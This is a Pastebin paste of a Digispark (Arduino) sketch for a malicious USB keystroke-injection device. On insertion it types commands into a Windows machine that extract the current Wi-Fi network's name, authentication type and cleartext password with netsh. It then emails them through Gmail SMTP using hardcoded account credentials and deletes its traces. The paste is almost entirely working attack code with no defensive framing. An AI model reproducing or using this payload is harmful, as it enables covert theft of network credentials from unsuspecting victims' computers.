Advertisement
Guest User

Untitled

a guest
Nov 12th, 2017
450
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.49 KB | None | 0 0
  1. #include "DigiKeyboard.h"
  2. #include "scancode-ascii-table.h"
  3. void enter() {
  4. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  5. DigiKeyboard.delay(400);
  6. }
  7. void t() {
  8. DigiKeyboard.delay(400);
  9. }
  10.  
  11. void setup()
  12. {
  13.  
  14. DigiKeyboard.sendKeyStroke(0);
  15. t();
  16. DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  17. t();
  18. DigiKeyboard.print("cmd");
  19. enter();
  20. DigiKeyboard.print(F("cd \"%USERPROFILE%\\Desktop\" & for /f \"tokens=2 delims=:\" %A in ('netsh wlan show interface ^| findstr \"SSID\" ^| findstr /v \"BSSID\"') do set A=%A"));
  21.  
  22. enter();
  23. DigiKeyboard.print(F("set A=\"%A:~1%\""));
  24. enter();
  25. DigiKeyboard.print(F("netsh wlan show profiles %A% key=clear | findstr /c:\"Network type\" /c:\"Authentication\" /c:\"Key Content\" | findstr /v \"broadcast\" | findstr /v \"Radio\">>A.txt"));
  26. enter();
  27. DigiKeyboard.print(F("for /f \"tokens=3 delims=: \" %A in ('findstr \"Network type\" A.txt') do set B=%A"));
  28. enter();
  29. DigiKeyboard.print(F("for /f \"tokens=2 delims=: \" %A in ('findstr \"Authentication\" A.txt') do set C=%A"));
  30. enter();
  31. DigiKeyboard.print(F("for /f \"tokens=3 delims=: \" %A in ('findstr \"Key Content\" A.txt') do set D=%A"));
  32. enter();
  33. DigiKeyboard.print(F("del A.txt"));
  34. enter();
  35. DigiKeyboard.print(F("echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt"));
  36. enter();
  37. DigiKeyboard.print(F("powershell"));
  38. enter();
  39. DigiKeyboard.print(F("$SMTPServer = 'smtp.gmail.com'"));
  40. enter();
  41. DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)"));
  42. enter();
  43. DigiKeyboard.print(F("$SMTPInfo.EnableSsl = $true"));
  44. enter();
  45. DigiKeyboard.print(F("$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('tizio65.caio@gmail.com', 'tiziocaio321')"));
  46. enter();
  47. DigiKeyboard.print(F("$ReportEmail = New-Object System.Net.Mail.MailMessage"));
  48. enter();
  49. DigiKeyboard.print(F("$ReportEmail.From = 'tizio65.caio@gmail.com'"));
  50. enter();
  51. DigiKeyboard.print(F("$ReportEmail.To.Add('tizio65.caio@gmail.com')"));
  52. enter();
  53. DigiKeyboard.print(F("$ReportEmail.Subject = 'WiFi key grabber'"));
  54. enter();
  55. DigiKeyboard.print(F("$ReportEmail.Body = (Get-Content Log.txt | out-string)"));
  56. enter();
  57. DigiKeyboard.print(F("$SMTPInfo.Send($ReportEmail)"));
  58. enter();
  59. DigiKeyboard.delay(1000);
  60. DigiKeyboard.print(F("exit"));
  61. enter();
  62. DigiKeyboard.print(F("del Log.txt & exit"));
  63. enter();
  64. }
  65.  
  66. /* Unused endless loop */
  67. void loop() {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement